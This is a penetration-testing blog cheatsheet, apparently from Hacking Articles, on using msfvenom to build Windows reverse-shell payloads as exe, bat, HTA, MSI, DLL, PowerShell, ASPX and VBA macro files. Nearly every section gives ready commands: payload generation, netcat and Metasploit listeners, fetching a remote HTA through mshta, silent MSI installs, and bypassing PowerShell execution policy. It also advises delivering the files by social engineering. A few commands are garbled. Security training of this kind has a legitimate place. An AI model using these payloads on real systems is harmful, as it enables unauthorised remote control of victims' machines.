In this post, you will learn how to use MsfVenom to generate all types of payloads for exploiting the windows platform. Read beginner guide from here
Table of Content
- Requirements
- MsfVenom Syntax
- Payload and its types
- Executable Payload (exe)
- Powershell Batch File
- HTML Application Payload (HTA)
- Microsoft Installer Payload (MSI)
- Dynamic-link library Payload (DLL)
- Powershell Payload (psh-cmd)
- Powershell Payload (ps1)
- Web shell Payload (ASPX)
- Visual Basic Payload (.vba)
Requirements:
- Kali Linux
- Windows Machine
MsfVenom Syntax
MsfVenom is a Metasploit standalone payload generator which is also a replacement for msfpayload and msfencode.
Payload and its types
Payload, are malicious scripts that an attacker use to interact with a target machine in order to compromise it. Msfvenom supports the following platform and format to generate the payload. The output format could be in the form of executable files such as exe,php,dll or as a one-liner.
Two major types of Payloads
Stager: They are commonly identified by second (/) such as windows/meterpreter/reverse_tcp
Stageless: The use of _ instead of the second / in the payload name such as windows/meterpreter_reverse_tcp
As we have mentioned above, this post may help you to learn all possible methods to generate various payload formats for exploiting the Windows Platform.
Executable Payload (exe)
Payload Type: Stager
Executing the following command to create a malicious exe file is a common filename extension denoting an executable file for Microsoft Windows.
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f exe > shell.exe
Entire malicious code will be written inside the shell.exe file and will be executed as an exe program on the target machine.
Share this file using social engineering tactics and wait for target execution. Meanwhile, launch netcat as a listener for capturing reverse connection.
nc –lvp 443
Powershell Batch File
Payload Type: Stager
Execute the following command to create a malicious batch file, the filename extension .bat is used in DOS and Windows.
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.3 lport=443 > shell.bat
Entire malicious code will be written inside the shell.bat file and will be executed as .bat script on the target machine.
Share this file using social engineering tactics and wait for target execution. Meanwhile, launch netcat as the listener for capturing reverse connection.
nc –lvp 443
HTML Application Payload (HTA)
Payload Type: Stager
An HTML Application (HTA) is a Microsoft Windows program whose source code consists of HTML, Dynamic HTML, and one or more scripting languages supported by Internet Explorer, such as VBScript or JScript
Execute the following command to create a malicious HTA file, the filename extension .hta is used in DOS and Windows.
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta
Entire malicious code will be written inside the shell.hta file and will be executed as .hta script on the target machine. Use Python HTTP Server for file sharing.
mshta http://192.168.1.3/shell.hta
An HTA is executed using the program mshta.exe or double-clicking on the file
This will bring reverse connection through netcat listener which was running in the background for capturing reverse connection.
nc –lvp 443
Microsoft Installer Payload (MSI)
Windows Installer is also known as Microsoft Installer. An MSI file is a Windows package that provides installation information for a certain installer, such as the programs that need to be installed. It can be used to install Windows updates or third-party software same like exe.
Execute the following command to create a malicious MSI file, the filename extension .msi is used in DOS and Windows. Transfer the malicious on the target system and execute it.
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f msi > shell.msi
Use the command msiexec to run the MSI file.
msiexec /quiet /qn /i shell.msi
This will bring reverse connection through netcat listener which was running in the background for capturing reverse connection.
Dynamic-link library Payload (DLL)
Payload Type: Stager
A DLL is a library that contains code and data that can be used by more than one program.
Execute the following command to create a malicious dll file, the filename extension .dll is used in DOS and Windows. Transfer the malicious on the target system and execute it.
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f dll > shell.dll
Use the command rundll32 to run the MSI file.
rundll32.exe shell.dll,0
This will bring reverse connection through netcat listener which was running in the background for capturing reverse connection.
Powershell Payload (psh-cmd)
Payload Type: Stager
Format – psh, psh-net, psh-reflection, or psh-cmd
The generated payload for psh, psh-net, and psh-reflection formats have a .ps1 extension, and the generated payload for the psh-cmd format has a .cmd extension Else you can directly execute the raw code inside the Command Prompt of the target system.
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.3 lport=443 -f psh-cmd > -f raw
Execute the following command to generate raw code for the malicious PowerShell program.
For execution, copy the generated code and paste it into the Windows command prompt
This will bring reverse connection through netcat listener which was running in the background for capturing reverse connection.
Powershell Payload (ps1)
Payload Type: Stager
A PS1 file is a script, or “cmdlet,” used by Windows PowerShell. PS1 files are similar to .BAT and.CMD files, except that they are executed in Windows PowerShell instead of the Windows Command Prompt
Execute the following command to create a malicious PS1 script, the filename extension.PS1 is used in Windows PowerShell
msfvenom -p windows/x64/meterpreter_reverse_https lhost=192.168.1.3 lport=443 -f psh > shell.ps1
Since the reverse shell type is meterpreter thus we need to launch exploit/multi/handler inside Metasploit framework.
PowerShell’s execution policy is a safety feature that controls the conditions under which PowerShell loads configuration files and runs scripts. This feature helps prevent the execution of malicious scripts. Prevents running of all script files, including formatting and configuration files (.ps1xml), module script files (.psm1), and PowerShell profiles (.ps1).
Read more from here
In order to execute the PS1 script, you need to bypass the execution policy by running the following command in the Windows PowerShell and executing the script.
PowerShell –ep bypass .\shell.ps1
msfconsole use exploit/multi/handler set lhost 192.168.1.3 set lport 443 set payload windows/x64/meterpreter_reverse_https
As soon as the target will execute the shell.ps1 script, an attacker will get a reverse connection through meterepreter session.
Web shell Payload (ASPX)
Payload Type: Stageless
An ASPX file is an Active Server Page Extended file for Microsoft’s ASP.NET platform. When the URL is viewed, these pages are shown in the user’s web browser, .NET web forms are another name for them.
Execute the following command to create a malicious aspx script, the filename extension .aspx.
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.1.3 lport=443 -f aspx > shell.aspx
Since the reverse shell type is meterpreter thus we need to launch exploit/multi/handler inside metasploit framework.
You can inject this payload for exploiting Unrestricted File Upload vulnerability if the target is IIS Web Server.
Execute the upload script in the web browser.
msfconsole use exploit/multi/handler set lhost 192.168.1.3 set lport 443 set payload windows/x64/meterpreter_reverse_https
As soon as the attacker execute the malicious script, he will get a reverse connection through meterepreter session.
Visual Basic Payload (.vba)
Payload Type: Stageless
VBA is a file extension commonly associated with Visual Basic which supports Microsoft applications such as Microsoft Excel, Office, PowerPoint, Word, and Publisher. It is used to create “macros.” that runs within Excel. An attacker takes the privilege of these features and creates a malicious VB script to be executed as a macros program with Microsoft excel.
Execute the following command to create a malicious aspx script, the filename extension .aspx that will be executed as macros within Microsoft excel.
Read more from here: Multiple Ways to Exploit Windows Systems using Macros
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.1.3 lport=443 -f vba
Now we open our Workbook that has the malicious macros injected in it. A comprehensive method of macros execution is explained in our previous post.
use exploit/multi/handler set payload windows/meterpreter/reverse_https set lhost 192.168.1.106 set lport 1234 exploit
As soon as the attacker execute the malicious script, he will get a reverse connection through meterepreter session.
Author: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here
The post Msfvenom Cheatsheet: Windows Exploitation appeared first on Hacking Articles.